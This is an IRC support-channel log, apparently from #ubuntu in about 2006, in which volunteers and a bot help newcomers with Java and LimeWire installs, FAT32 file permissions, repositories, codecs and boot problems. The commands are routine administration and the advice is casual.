[12:41] <kbrooks> LethalSword, "first you need !java".
[12:41] <Kelsey23> Look, I tried to help lethalSword
[12:41] <erUSUL> ipv6
[12:41] <Jemt> nickrud: Well, I'm not sure what you want me to find on those links. What I want is simply to have Ubuntu treat all files the same. I don't want restrictions - I want files to be.. files - like in Windows. When I open a text file in Ubuntu it thinks it's executable. And sometimes the file cannot be accessed because I copied it to my partition as root
[12:41] <Kelsey23> and he couldnt even find the Gnome terminal emulator
[12:41] <nazgulwalker> nazgulwalker@nazgulwalker:~/Desktop$ sudo ./j2eesdk-1_4_03-linux.bin
[12:41] <nazgulwalker> sudo: unable to execute ./j2eesdk-1_4_03-linux.bin: Text file busy
[12:42] <fluxt> Munkie2, perhaps the burn is bad, have you checked it?
[12:42] <kbrooks> nazgulwalker, oh?
[12:42] <LethalSword> i installed java already
[12:42] <Kelsey23> Sorry Ubuntu people :-/
[12:42] <Munkie2> fluxt, yeah...plus ive burned 2 disks and it happens to both of em
[12:42] <kbrooks> LethalSword, so d/l the file & rock away!
[12:42] <mikeazorin> okay. i ran recovery mode, and tried to install pcmcia again. after *Starting PCMCIA services.. Intel ISA PCIC probe crashses the entire computer. what do i do now? is there a way to skip this package?
[12:42] <murtun_> What packages should i download for USB flashdrive support, and a automount
[12:42] <nazgulwalker> kbrooks what can i do ?
[12:42] <flodine> anyone running mutt mail who can help
[12:42] <LethalSword> i installed LimeWireOther.zip
[12:42] <LethalSword> but i see no .sh file
[12:42] <fluxt> Munkie2, perhaps either the ubuntu boot is incompatible with your system or your download was bad
[12:42] <jke> erUSUL: the modprobe did take some time (20-30secs) but didn't give any error mesagges... i will check dmesg
[12:42] <nickrud> Jemt: that will never happen, unix relies on permissions, which is a good thing. So does windows, but you just don't see it.
[12:42] <kbrooks> LethalSword, no you havent.
[12:43] <murtun_> What packages should i download for USB flashdrive support, and a automount
[12:43] <Jemt> nickrud: No, wait - sorry. I do seem to have permission to ie remove files owned by root. Must be because it's FAT32
[12:43] <kbrooks> LethalSword, you have extracted it.
[12:43] <croc_> anyone know what i can do about my gcc failing to compile on a standard ubuntu install. the configure script error was "Compiler does not create executables".
[12:43] <jke> it failed :( with error -5
[12:43] <dg2_bluesky> hello all, what file do I need for the live cd?  Thank you
[12:43] <LethalSword> oh kbrooks how do i install it then
[12:43] <kbrooks> LethalSword,
[12:43] <murtun_> What packages should i download for USB flashdrive support, and a automount
[12:43] <nickrud> Jemt: you can give others that permission. Seriously, permissions are a fundamental core issue in unix/linux systems.
[12:43] <kbrooks> !tell LethalSword about limewire
[12:44] <LethalSword> ok
[12:44] <mikeazorin> okay. i ran recovery mode, and tried to install pcmcia again. after *Starting PCMCIA services.. Intel ISA PCIC probe crashses the entire computer. what do i do now? is there a way to skip this package?
[12:44] <dg2_bluesky> do i need [   ]  ubuntu-5.10-live-i386.iso  ?
[12:44] <LethalSword> i run the .sh file by typing sh runlime.sh in the terminal?
[12:44] <jetpack> I have been trying to install ubuntu on a pentium 4 laptop.  It keeps failing to install the kernel image, and doesn't leave a log in /target/var/log as it claims I should look at.  Any suggestions?
[12:44] <nazgulwalker> someoone can help me ? i have an error "text file is busy"
[12:44] <kbrooks> LethalSword, "then just run the runLime.sh file" -> chmod +x runLime.sh; ./runLime.sh
[12:44] <croc_> dg2_bluesky: it sure looks that way, doesnt it? it has "live" in the filename.
[12:45] <fluxt> Munkie2, http://www.ubuntuforums.org/archive/index.php/t-75367.html
[12:45] <Jemt> nickrud: Another thing - when i do a 'ls -l' in my console, file permissions are listed. I hate when there is not consistens in my things - and different files have different file permissions - and it's a mess. That's probably my main issue.
[12:45] <dg2_bluesky> croc yeah but was wondering about the i386 page
[12:45] <mikeazorin> i need to install the "Intel ISA PCIC probe", where do i find it, anyone know?
[12:45] <ag0g0girl> hello there
[12:45] <LethalSword> i installed java but it says i havent
[12:45] <croc_> dg2_bluesky: it depends on what your archetecture is
[12:45] <kbrooks> Jemt, permissions are trivial to understand when youu understand the windows way of permissions.
[12:45] <dg2_bluesky> heard some very good things about this distro
[12:45] <athlon> now that Gnome 2.14 has been released, I want to know whether any of you ubuntu-users managed to compile a custom Gnome using garnome in Dapper.
[12:46] <nickrud> Jemt: it's important that files have different permissions. If you give me a bit, I'll dig up some links for you
[12:46] <Jemt> kbrooks: ?
[12:46] <kbrooks> Jemt, and i'll tellyou their way. it is a single number. and here i go:
[12:46] <Jemt> nickrud: Thanks, sounds great
[12:46] <kbrooks> 644
[12:46] <rukuartic> Anyone know how I could improve my wireless speed? I can hit 6 mbps in windows, but I'm down around 2 in linux... Its ndiswrapper-ed, is it beyond all hope
[12:46] <Jemt> kbrooks: I know about CHMOD
[12:46] <kbrooks> Jemt, not chmod
[12:46] <kbrooks> jemt:
[12:46] <croc_> dg2_bluesky: its truly a good distro. you can even have them send you CDs for absolutely free.
[12:46] <ag0g0girl> could someone tell me how to install a security package for mozilla?
[12:46] <Jemt> kbrooks: Oh?
[12:46] <sorush21> hi guys
[12:46] <kbrooks> 644: read/write for user, read for group, read for world
[12:47] <sorush21> I 'm getting error 17 on grub
[12:47] <kbrooks> jemt: on windows NT/2000/XP, anyway
[12:47] <Jemt> kbrooks: What's the difference between group/world?
[12:47] <LethalSword> kbrooks do i install java by typeing sh filename?
[12:47] <kbrooks> jemt: these are the default permissions on windows systems...
[12:47] <jke> allright... i will do a fresh install when i have time to back up the 15 giga :s
[12:47] <polpak> LethalSword, no, you install limewire that way
[12:47] <fluxt> sorush21, http://www.google.com.au/search?hl=en&q=grub+error+17+ubuntu&btnG=Search&meta=
[12:47] <polpak> tell LethalSword about java
[12:47] <kbrooks> jemt: on earlier windows systems: 777
[12:47] <polpak> !tell LethalSword about java
[12:47] <mikeazorin> ubuntu insists on starting up pcmcia services when i am installing pcmcia-cs. pcmcia services crash because "Intel ISA PCIC probe: not found." help please ANYBODY
[12:48] <marky> man matt hughes is on UFC
[12:48] <Jemt> kbrooks: Ok, IC. Good to know. But can you explain the difference between Group and World? What do they cover?
[12:48] <kbrooks> jemt: anyone in the named group.
[12:48] <Jemt> kbrooks: So all files were executable? Weird
[12:48] <jke> erUSUL: Thanks for the help :)
[12:48] <kbrooks> jemt: yes
[12:48] <marky> is there any packages about weed?
[12:48] <erUSUL> jke, no problem
[12:48] <kbrooks> jemt: and world: anyone else
[12:48] <Jemt> kbrooks: What group? You cannot specify a group in CHMOD - as far as I know
[12:48] <kbrooks> jemt: chgrp.
[12:48] <Jemt> Checking out the man
[12:49] <LethalSword> that site doesnt say anything about java
[12:49] <Jemt> kbrooks:  Checking out the man
[12:49] <croc_> jemt, the group is set with the file-- the owning users group
[12:49] <rukuartic> !java
[12:49] <dg2_bluesky> is this a good distro for beginners
[12:49] <ubotu> To install Java/Sun Java see Java on https://wiki.ubuntu.com/RestrictedFormats and also see !javadebs
[12:49] <kbrooks> dg2_bluesky, yes.
[12:49] <polpak> LethalSword, yes it does
[12:49] <mikeazorin> save me someone!
[12:49] <Jemt> croc_: Oh I see
[12:49] <polpak> LethalSword, it's even listed in the table of contents
[12:49] <nickrud> Jemt: http://ag.arizona.edu/ecat/web/permissions.html , I watched their video once, it's not bad
[12:49] <mikeazorin> ubuntu insists on starting up pcmcia services when i am installing pcmcia-cs. pcmcia services crash because "Intel ISA PCIC probe: not found." help please ANYBODY
[12:49] <fluxt> dg2_bluesky, yeah, this or mandriva
[12:49] <marky> i need to find a ganja package
[12:49] <croc_> Its not so different from NTFS, but so much is hidden from you in windows.
[12:49] <kbrooks> dg2_bluesky, but you'll have to workat it if you want certain restricted things, such as mp3 playing songs
[12:49] <Jemt> I would wish all these file permissions would be hidden - like on Windows systems
[12:50] <Jemt> nickrud: Thanks, checking it out :)
[12:50] <majd> this is kind of an awkward question, but can i get some help making my desktop look like http://ubuntuforums.org/gallery/showimage.php?i=1794&original=1&c=popimages&orderby=rating please? i dont' know where to start
[12:50] <dg2_bluesky> kbrooks you can't play mp3?
[12:50] <shiv> what is the command to install kde desktop in ubuntu/gnome?
[12:50] <GTX`> How do I remove everything which installed with xubuntu-desktop ?
[12:50] <croc_> dg2_bluesky: mp3 decoders are not GNU
[12:50] <polpak> dg2_bluesky, you can you just have to folow the restricted formats wiki
[12:50] <kbrooks> dg2_bluesky, i did say "work at it". it's ___possible___
[12:50] <marky> anyone know how i can play xvid and divx? i need codecs i think
[12:50] <ufo> !restricted
[12:50] <ubotu> restricted is, like, https://wiki.ubuntu.com/RestrictedFormats  Most of the formats listed here can be replaced by !FreeFormats
[12:50] <frank23> shiv: sudo apt-get install kubuntu-desktop
[12:50] <kbrooks> croc_, don't give him that evangilism shit.
[12:51] <adam_> I upgraded from 5.04 to 5.10 this afternoon, and now direct rendering isn't enabled and I can't seem to figure out why. Before (with 5.04) I believe I just made sure I was on 16bit color (graphics card doesn't support direct rendering at 24 bit) but it's already on 16bit and yet I have "Direct Rendering: No"
[12:51] <nickrud> GTX`: not so easy, you could install debfoster and let it walk you through deleting stuff you don't wnat
[12:51] <adam_> I have the i810, btw
[12:51] <croc_> kbrooks, what?
[12:51] <kbrooks> croc: mp3 decoders are not free software.
[12:51] <croc_> right.
[12:51] <kbrooks> croc: free as in freedom, not free as in price, here
[12:51] <LethalSword> none of the stuff on that site works
[12:51] <marky> anybody know where win32 codec package is kept?
[12:51] <croc_> They dont come with GNU/Linux distrobutions
[12:51] <kbrooks> er, free as in speech.
[12:51] <alan> can ne1 help having probs gettin a msn client on ubuntu
[12:51] <croc_> yes, i know all of this
[12:51] <rukuartic> !amsn
[12:51] <ubotu> somebody said amsn was at http://amsn.sourceforge.net
[12:51] <kbrooks> marky:
[12:51] <marky> alan use gaim
[12:51] <kbrooks> !w32codecs
[12:51] <ubotu> it has been said that w32codecs is a compilation of binary win32 A/V codecs for many popular proprietary formats not currently supported by free implementations under linux. See http://tinyurl.com/e4a5s to install
[12:51] <marky> kbrooks yes
[12:52] <LethalSword> cody@GM:~$ sudo apt-get install j2re1.4
[12:52] <LethalSword> Reading package lists... Done
[12:52] <LethalSword> Building dependency tree... Done
[12:52] <LethalSword> Package j2re1.4 is not available, but is referred to by another package.
[12:52] <LethalSword> This may mean that the package is missing, has been obsoleted, or
[12:52] <LethalSword> is only available from another source
[12:52] <dg2_bluesky> ok great i read that page, thanks for the heads up there
[12:52] <LethalSword> E: Package j2re1.4 has no installation candidate
[12:52] <alan> gaim
[12:52] <marky> kbrooks thanks
[12:52] <alan> is it on ubuntu or do i dl it
[12:52] <erUSUL> LethalSword, do not paste here
[12:52] <alan> just this sec got ubuntu installed
[12:52] <Xenguy> !tell LethalSword about paste
[12:52] <rukuartic> alan: Its on Ubuntu
[12:52] <kbrooks> alan: its on ubuntu.
[12:52] <erUSUL> !paste
[12:52] <ubotu> Don't flood the channel! Please use the pastebin at http://paste.ubuntu-nl.org/ or the channel #flood to paste large amount of text.
[12:52] <alan> thaqnks
[12:52] <shiv> thanks frank23
[12:52] <alan> thanks*
[12:52] <dg2_bluesky> what else is different about this distro
[12:52] <alan> appreciated
[12:52] <helfrez> marky, you can get the bz2 from the mplayer website and just extract it to /usr/lib/win32
[12:52] <rukuartic> alan: But AMSN has more features specific to MSN, gAIM is kinda more global
[12:52] <LethalSword> but thats what comes up
[12:52] <nickrud> LethalSword: your sources are still bad
[12:52] <marky> helfrez thanks
[12:52] <LethalSword> how
[12:53] <mikeazorin> bloody hell will anybody help me? i've been so specific.
[12:53] <polpak> !tell LethalSword about repos
[12:53] <nickrud> LethalSword: because, it's not seeing multiverse (where j2re-1.4 is found)
[12:53] <mikeazorin> now ubuntu won't start up at all
[12:53] <rukuartic> mikeazorin: That sure won't help... what's your problem?
[12:53] <fluxt> ubotu, tell LethalSword about multiverse
[12:53] <mikeazorin> buntu insists on starting up pcmcia services when i am installing pcmcia-cs. pcmcia services crash because "Intel ISA PCIC probe: not found." help please ANYBODY
[12:53] <ag0g0girl> hello?
[12:53] <_jason> ubotu: tell mikeazorin about support
[12:53] <LethalSword> i enabled universe and multiverse
[12:53] <nickrud> !repos
[12:53] <ubotu> To enable Universe and Multiverse see http://wiki.ubuntu.com/AddingRepositoriesHowto - Official sources.lists here: http://paste.ubuntu-nl.org/6047 (Breezy) or http://paste.ubuntu-nl.org/6666 (Dapper) see also !easysource
[12:54] <ryan_ishere> I got no sound on my players
[12:54] <Kyral> mikeazorin, I'm sorry I didn't see your question
[12:54] <LethalSword> its all selected
[12:54] <ryan_ishere> but i have it everywhere else
[12:54] <ryan_ishere> ????????????????
[12:54] <adam_> anyone know how I might be able to get direct rendering working once again?
[12:54] <Morfosomo> am having an issue with the update manager where it tells me that i have some installs pending then when i accept the downloading window closes
[12:54] <polpak> LethalSword, did you sudo apt-get update
[12:54] <Xenguy> !enter
[12:54] <nickrud> LethalSword: if you are using breezy, replace the file /etc/apt/sources.list with  http://paste.ubuntu-nl.org/6047
[12:54] <ubotu> Please don't use the "enter" key as punctuation! It spams the channel and is annoying.
[12:54] <_jason> ryan_ishere: does totem work?
[12:54] <croc_> !compiler
[12:54] <ubotu> croc_: Do they come in packets of five. Try searching at http://ubuntu.cc.com.au/
[12:54] <ryan_ishere> totem is actually the one that wont work _jason
[12:54] <rukuartic> Its like, build essential or something croc_
[12:55] <_jason> ryan_ishere: what type of files?
[12:55] <helfrez> thank goodness for automatix
[12:55] <polpak> Morfosomo, go to a terminal and do sudo apt-get update then try again
[12:55] <nickrud> croc_: sudo apt-get install build-essential , that'll get you the gcc compiler & some support
[12:55] <polpak> !automatix
[12:55] <ubotu> I guess automatix is unsafe, it overwrites configuration files, and does things like "echo -e 'ynYn'" that are considered risky. Please do not use it. There are alternative applications, but it's often best to read the documentation.
[12:55] <croc_> thx
[12:55] <nickrud> helfrez:  "echo -e 'ynYn'" !!!!!
[12:55] <ryan_ishere> _jason mp3
[12:55] <helfrez> i just un that instead of spending 1hr fiddling with finding all the right sources hehe
[12:55] <LethalSword> nickrud i replace the sources.list with a sources.list with that stuff in there?
[12:55] <ryan_ishere> _jason but rythmbox does work
[12:55] <rukuartic> nickrud: What exactly does that do?
[12:55] <_jason> ryan_ishere: did you install the gstreamer codecs for mp3?
[12:56] <ryan_ishere> i thought so _jason
[12:56] <nickrud> rukuartic: depending on the context, it can tell anything to install, you have no idea what it is
[12:56] <polpak> !tell ryan_ishere about mp3
[12:56] <rukuartic> nickrud: How so?
[12:56] <ryan_ishere> _jason thanks anyway rythmbox is working now i dont know why but it is so ill use that thanks anyway
[12:57] <WiFiTux> Anyone knows the file that needs to be edited to allow incoming DISPLAYS? xhost + is not doing it.
[12:57] <_jason> ryan_ishere: apt-cache policy gstreamer0.8-mad | grep -i Installed, will tell you if it is installed.  But I suspect it is if rhythmbox works
[12:57] <ryan_ishere> _jason thats what i thought as well
[12:57] <mikeazorin> i must find a way so that a certain package included in apt-get update is not installed. how to do this?
[12:57] <rukuartic> _jason: what about dpkg -l | grep gstreamer
[12:57] <nickrud> rukuartic: If my memory was perfect, I probably could parrot off what a person I trust told me. Try doing a grep for that in automatix, see what it's doing. Me, I'll trust people who know far more than I do.
[12:57] <sorush21> I don't have access ot my ubuntu system how do I create a grub boot disk from a windows machaine?
[12:57] <Morfosomo> do you reckon the mirrors for ubuntu are overloaded? its going at ridicously slow speeds
[12:57] <V4Vendetta> sorush21, burn the .iso
[12:57] <Grark> Quick question.  What's up with totem being tightly integrated into the system but having no plugins or anyway I can find to update the codec's?
[12:58] <Kyral> mikeazorin, which package and why
[12:58] <polpak> !tell Grark  about restricted
[12:58] <_jason> rukuartic: sure, if you change gstreamer to gstreamer0.8-mad
[12:58] <rukuartic> nickrud: Sorry man, I'm still a bit confused.
[12:58] <crimsun> Morfosomo: try another mirror, like se.archive.ubuntu.com or archive.ubuntu.com
[12:58] <nickrud> Grark: sudo aptitude install totem-xine ; that'll get you away from gstreamer
[12:58] <bimberi> mikeazorin: use synaptic to lock the existing version of the package (Packages menu)
[12:58] <rukuartic> _jason: Yea but it'l list all gstreamers, might be useful for finding all versions
[12:58] <mikeazorin> kyral: pcmcia-cs, crashes the entire computer trying to start pcmcia services while installing.
[12:58] <ag0g0girl> !enter
[12:58] <ubotu> Please don't use the "enter" key as punctuation! It spams the channel and is annoying.
[12:58] <_jason> rukuartic: true
[12:58] <LethalSword> yet again nickrud thank you for helping me
[12:59] <dg2_bluesky> does ubuntu come preinstalled with apache and mysql?
[12:59] <mikeazorin> bimberi: the pcmcia conflict (or whatever it is) is stopping my computer from booting up
[12:59] <marky> i can't seem to make the folder win32 in usr/lib  , any ideas? its says "denied"
[12:59] <nickrud> LethalSword: that worked for you then?
[12:59] <dyrne> dg2_bluesky: no server apps by default
[12:59] <LethalSword> yep
[12:59] <rukuartic> marky: sudo mkdir win32
[12:59] <polpak> dg2_bluesky, it's not installed by default, but a simple apt-get will do the job
[12:59] <LethalSword> after i did that and ran sudo apt-get update
[12:59] <helfrez> sudo mkdir /usr/lib/win32
[12:59] <mikeazorin> how do i lock a package from the command line?
[12:59] <_jason> marky: are you trying to install w32codecs?
[12:59] <marky> yeah
[12:59] <marky> _jason yes
[12:59] <_jason> ubotu: tell marky about w32codecs
[12:59] <spine> hello everyone, ive been getting constant memory lakeage from the gamin server, does anyone noe how to fix this?
[12:59] <helfrez> the move all the dll files and crap into the folder
[12:59] <rukuartic> marky: I'm teasing you, but Linux was protecting you from doing summat dumb. Installing Windows? Bah. Bad idea XD
[01:00] <nickrud> mikeazorin: sudo aptitude hold <packagename>
[01:00] <ag0g0girl> is this not a good place for newby help?
[01:00] <rukuartic> spine: Restart, or go work for the peopel who programmed gamin :p
[01:00] <dyrne> ag0g0girl: this is the place
[01:00] <rukuartic> spine: restart gamin that is
[01:00] <nickrud> ag0g0girl: there is no better place
[01:00] <kbrooks> ag0g0girl, ask.
[01:00] <polpak> ag0g0girl, I'm not sure you've actually asked a question yet
[01:00] <dg2_bluesky> great polpak
[01:00] <dg2_bluesky> thanks for your information
[01:00] <rukuartic> ag0g0girl: We're all here to help and be friendly :)
[01:00] <nickrud> ag0g0girl: no promises that help will be found at this moment, though
[01:01] <dg2_bluesky> im a web developer moving to linux
[01:01] <ag0g0girl> thanks rukuartic
[01:01] <fluxt> ag0g0girl,  google can be better
[01:01] <adam_> anyone have an idea about getting direct rendering working on 5.10 with Intel's i810?
[01:01] <Jsm> How do i unlock the root user (im trying to install bugzilla it needs root)
[01:01] <Jemt> nickrud: Thanks for the link - great text. But I was wondering.. It does not seem logically to set execution rights on a directory - why would you do that?
[01:01] <mikeazorin> nickrud: that has not worked
[01:01] <croc_> OK heres a good'n, how do i change my SU error message from "Sorry." to "Idiot."
[01:01] <Xenguy> !tell Jsm about root
[01:01] <ag0g0girl> I tried google...and I downloaded the packages I need, but I dont know how to iknstall
[01:01] <ag0g0girl> install
[01:01] <rukuartic> ag0g0girl: fluxt has a good point too :p
[01:01] <ag0g0girl> i have this stuff on my desktop so I can find it.
[01:01] <fluxt> ag0g0girl, are they .dev files?
[01:01] <dyrne> Jsm: sudo passwd and then passwd -l root to remove again
[01:01] <fluxt> .deb
[01:01] <polpak> Jemt, execution flag on a directory means something different than they do for normal files
[01:01] <ag0g0girl> .dep
[01:02] <nickrud> Jemt: the issue is, you're using vfat: vfat does not allow you to assign permissions to individual directories & files. it's a limitation of fat file systems.
[01:02] <Jemt> polpak: It does? What does it mean?
[01:02] <ag0g0girl> .deb
[01:02] <_jason> ag0g0girl: what are you trying to install?
[01:02] <Jsm> Dryne wats the defaut pw
[01:02] <ag0g0girl> sorry....
[01:02] <fluxt> heh, did the same
[01:02] <polpak> Jsm, you can just use sudo to install, don't actually log in as root
[01:02] <rukuartic> XD I think only one person needs to help ag0g0girl
[01:02] <Xenguy> Jsm: I find 'sudo -i' useful also
[01:02] <ag0g0girl> I'm installing the personal security manager for mozilla
[01:02] <dyrne> Jsm: there is none it will ask for your user pass and then let you create one
[01:02] <Xenguy> Jsm: first user passwd
[01:02] <Jemt> nickrud: But when I do 'ls -l' it displays different permissions for different files
[01:02] <spine> rukuartic, you noe what im actually going to go to work on gam_server
[01:02] <mikeazorin> dpkg --configure -a must be run. running dpkg --configure -a wants to install pcmcia-cs. installing pcmcia-cs crashes the entire computer. i have do a hard reboot. see my predicament?
[01:02] <polpak> Jemt, it means that that class of user has access to cd into the directory
[01:02] <Jemt> nickrud: And that's on my FAT partition
[01:02] <dg2_bluesky> im getting ready to burn this live cd in nero , do i just burn a data cd, or a bootable data cd?
[01:02] <nickrud> Jemt: not on a fvat file system, it does not.
[01:02] <Jsm> 1) im not trying to log in as root the web install wants it
[01:03] <fluxt> ag0g0girl, dpkg -i <package>
[01:03] <Jemt> polpak: Oh, IC. Thank you - that makes sense
[01:03] <Kyral> mikeazorin, pcmcia-cs shouldn't do that...
[01:03] <rukuartic> spine: w00t
[01:03] <Kyral> how does it crash the computer?
[01:03] <polpak> Jemt, read access means you can ls the directory
[01:03] <Jemt> nickrud: I'll fix you a screenshot
[01:03] <frank23> dg2_bluesky: choose burn iso image or something like that
[01:03] <nickrud> Jemt: sure
[01:03] <rukuartic> Anyone know how to use cdrecord to make something I can read in windows? I burned summat but it didn't seem to want to work...
[01:03] <kbrooks> Jemt, write access means you can add to the directory
[01:03] <polpak> ag0g0girl, generally you can just use apt to install things.. you don't have to go download them from the internet
[01:03] <marky> _jason , you da man  , i think there installed :D . what do you rekon is the best player? mplayer or vlc?
[01:04] <polpak> kbrooks, or remove IIRC
[01:04] <_jason> marky: I like mplayer
[01:04] <ag0g0girl> I use fink on os x but I'm new to ubuntu
[01:04] <LethalSword> nickrud what do i type to open limewire again?
[01:04] <Jemt> polpak, kbrooks: Ok, thanks :)
[01:04] <kbrooks> ag0g0girl, so.. um
[01:04] <fluxt> ubotu, tell ag0g0girl about synaptic
[01:04] <LethalSword> never mind
[01:04] <marky> _jason, i shall look that way then   , thanks for your time
[01:04] <kbrooks> ag0g0girl, fink uses apt-get.
[01:04] <sorush21> V4Vendetta: that was unhelpfull I don't know where to get  the iso and the manual in the grub website dosen't tell you how to install a bootable grub cd from a windows machine
[01:04] <nickrud> LethalSword: I never use limewire, oh, never mind (frostwire)
[01:04] <mikeazorin> ahhhh!!!!!
[01:04] <kbrooks> !frostwire
[01:04] <ubotu> methinks frostwire is a free peer-to-peer application that runs on the Gnutella network, which can be found at http://www.frostwire.com/
[01:05] <bjornkri> Where can I get the xscreensaver parts that show up as "Not installed"?
[01:05] <techrush_> isnt there like a gtk gnutella client also ?
[01:05] <mikeazorin> this better not be sugared
[01:05] <rukuartic> techrush_: sf.net mate :P they're all over the place
[01:05] <techrush_> word
[01:05] <Jemt> nickrud: www.powerzone.dk/Screenshot.png  <= File permissions on FAT32
[01:05] <_jason> marky: it's easy to try both mplayer and vlc though since they are both in the repos.  Just enable universe and multiverse
[01:05] <nickrud> techrush: yeah, but the one in breezy is so old, it cannot connect any more
[01:05] <Kyral> mikeazorin, do you use PCMCIA?
[01:05] <_jason> ubotu: tell marky about mplayer
[01:05] <mikeazorin> kyral: NO. I am on a desktop computer.
[01:06] <kbrooks> jemt: yes. 777.
[01:06] <Kyral> mikeazorin, sudo apt-get remove pcmcia-cs
[01:06] <Jemt> kbrooks: ?
[01:06] <teresa_> hola
[01:06] <teresa_> hola a todos
[01:06] <mikeazorin> kyral: dpkg is jammed. that's not going to work. it needs me to dpkg --configure -a.
[01:06] <mikeazorin> which installs pcmcia-cs
[01:06] <Unity> hey i am wondering why when we tar/intar something we do tar -xvvf or -cvvf. why are there two v's? isn't -v verbose?
[01:06] <nickrud> Jemt: now, do me a favor: cat /etc/mtab, and paste that
[01:07] <Kyral> mikeazorin, how does it crash?
[01:07] <Jemt> nickrud: Roger
[01:07] <_jason> Unity: try both, I think one is /more/ verbose
[01:07] <teresa_> alguien espaol
[01:07] <jeff_> Is there a reason why in firefox when I scroll the wheel very rapidly up or down, it does the "backward" and "forward" motions in page history?
[01:07] <kbrooks> jemt: that set of file permissions means anyone can read/write to file1.txt
[01:07] <_jason> Unity: that wasn't clear: two v's is more verbose than just one v from what I have seen
[01:07] <marky> _jason i can't seem to play wmv's in vlc or in mpplayer, it said somethink like type font face or something
[01:07] <_jason> !es
[01:07] <ubotu> Hispanohablantes: Por favor usen #ubuntu-es, #kubuntu-es o #edubuntu-es, alli obtendran mas ayuda.
[01:08] <Jemt> nickrud: http://powerzone.dk/result.txt
[01:08] <mikeazorin> dpkg --configure -a; Setting up pcmcia-cs...; Intel ISA PCIC probe: not found; at this point the computer is completely dead. must be hard rebooted.
[01:08] <polpak> jeff_, it does that if your shift key is down..
[01:08] <Jemt> kbrooks: I know :)
[01:08] <Jemt> kbrooks: And even execute it (if it was a Shell Script)
[01:08] <_jason> marky: install the mplayer-fonts package for the font problem and install w32codecs (bot will give you a link) for wmv's
[01:08] <_jason> ubotu: tell marky about w32codecs
[01:08] <marky> _jason thanks
[01:08] <jeff_> polpak, it does it if I just scroll quickly
[01:08] <sean33> whats with sending me like a whole box of CD's ?
[01:09] <LethalSword> does ubuntu come with an mp3 player?
[01:09] <rukuartic> sean33: Hmm?
[01:09] <pinpoint> yea
[01:09] <pinpoint> xmms
[01:09] <nickrud> Jemt: that is totally outside of my experience, a vfat filesystem having different file permissions on files.
[01:09] <mikeazorin> lethbalsword: yes, but restrcited packages must be insatlled
[01:09] <_jason> LethalSword: yes, but it won't play mp3's until you install codecs
[01:09] <polpak> LethalSword, totem or rhythmbox
[01:09] <_jason> ubotu: tell LethalSword about mp3
[01:09] <rukuartic> LethalSword: Go for xine or anything polpak said
[01:09] <Jemt> nickrud: Hehe, ok. Then it's no wonder I'm lost too :)
[01:09] <dyrne> sean33: you've been called go forth and spread the word
[01:09] <nickrud> Jemt: either one of: you're spoofing us, or I do not have a clue
[01:09] <dg2_bluesky> can someone tell me where burn as image is in nero
[01:09] <mikeazorin> rythmbox is a good itunes replacement
[01:09] <dg2_bluesky> its not giving me that option
[01:10] <Kyral> mikeazorin, file a bug
[01:10] <polpak> LethalSword, you may as just go through the whole restricted formats wiki and install everything
[01:10] <rukuartic> mikeazorin: what about songbird? When's that going for linux?
[01:10] <Jemt> nickrud: I'm not spoofing
[01:10] <LethalSword> ok
[01:10] <sean33> for some reason i have been sent 20 cds with ubuntu on them... i havent tried it yet is it any good ?
[01:10] <polpak> LethalSword, all these questions are answered there
[01:10] <rukuartic> sean33: Didja request 'em? :P
[01:10] <_jason> sean33: a lot of us like to think so
[01:10] <rukuartic> sean33: Give 'em out, they're little bundles of JOY
[01:10] <sean33> rukuartic nope
[01:10] <nickrud> can ANYONE reconcile this: http://www.powerzone.dk/Screenshot.png http://powerzone.dk/result.txt
[01:11] <Jemt> nickrud: Would it be bad to do the following?  :    'chmod 644 /media/hda4/* -R'    ?
[01:11] <nickrud> Jemt: by my experience, that would do nothing. But, hey ....
[01:11] <Jemt> nickrud: To make the permissions consistent
[01:11] <dg2_bluesky> I only have nero express,
[01:11] <Unity> _jason: ok thx
[01:11] <polpak> Jemt, it'd sort of bork your directories
[01:11] <dg2_bluesky> do I need something else?
[01:11] <sean33> i cant believe they sent me all these CDs all the way to Melbourne Australia , because im a linux expert ?
[01:11] <Jemt> polpak: Don't know the word bork. Could you find an alternative?
[01:12] <nickrud> Unity:  can ANYONE reconcile this: http://www.powerzone.dk/Screenshot.png http://powerzone.dk/result.txt
[01:12] <LethalSword> i really love the ubuntu ftp client
[01:12] <LethalSword> its very interesting
[01:12] <tritium> banshee!
[01:12] <Kyral> gFTP?
[01:12] <mikeazorin> wait a minute. the pcmcia-cs was from dapper, but i never ran dist-upgrade yet. maybe that will fix it?
[01:12] <Kyral> mikeazorin, maybe
[01:12] <polpak> Jemt, well if you did 644 then you'd be unable to cd to any subdirectories, and it'd probably not change anything in them
[01:12] <_jason> Jemt: ``bork'' is like ``mess up''.  You want directories to be executable so you can list there contents
[01:12] <bimberi> sean33: someone must have requested them for you
[01:12] <sean33> so anyone else had a box of these CD's arrive at their door ?
[01:12] <mikeazorin> hopefully it will let me install the dist-upgrade without trying pcmcia-cs first.
[01:12] <polpak> sean33, no, I just downloaded my ISO
[01:13] <Jemt> polpak: Ok
[01:13] <Jemt> _jason: Oh I see - thanks :)
[01:13] <polpak> Jemt, If you really want it to be consistant
[01:13] <bimberi> sean33: sure (but I ordered mine) :)
[01:13] <Jemt> polpak: You just told me Windows used 644 - or was it kbrooks ? Uhm...
[01:13] <marky> _jason the font problem is now fixed but when mplayer pops up it just says "no media opened" even when i said "open with"
[01:13] <polpak> Jemt, try find /media/hda4 -type d | xargs chmod 755 && find /media/hda4 ! -type d | xargs chmod 644
[01:13] <jager> hi there
[01:14] <Jemt> polpak: What does it do?
[01:14] <_jason> marky: if you try to open the file after running mplayer, does it work?
[01:14] <Jemt> polpak: I have VERY, VERY important files on the partitions :)
[01:14] <Jemt> partition*
[01:14] <sean33> lol i am wondering how they got my details ?
[01:14] <bjornkri> A handful of screensavers are greyed out for me (Cosmos, Electric Sheep, Fireflies....) Anyone know how I can get those?
[01:14] <polpak> Jemt, makes all directories 755 and all files 644
[01:14] <marky> _jason i'll try
[01:14] <Jemt> polpak: Ah, I see
[01:14] <nickrud> polpak: but, are those commands effective on vfat?
[01:14] <_jason> sean33: probably a mistake or someone you know
[01:15] <Jemt> polpak: I'll try it after backing up my most important files :)
[01:15] <polpak> nickrud, no idea. They might be... ntfs is RO, but I don't think vfat is
[01:15] <polpak> Jemt, it's non destructive
[01:15] <bimberi> sean33: whoever did it would have done so via http://shipit.ubuntu.com and used a launchpad account.  You could contact shipit and ask them to tell you
[01:15] <Jemt> polpak: This is what I should type? :    'find /media/hda4 -type d | xargs chmod 755 && find /media/hda4 ! -type d | xargs chmod 644' <enter>
[01:15] <polpak> Jemt, it doesn't actually do anything to the actual file data, just the metadata (permissions etc)
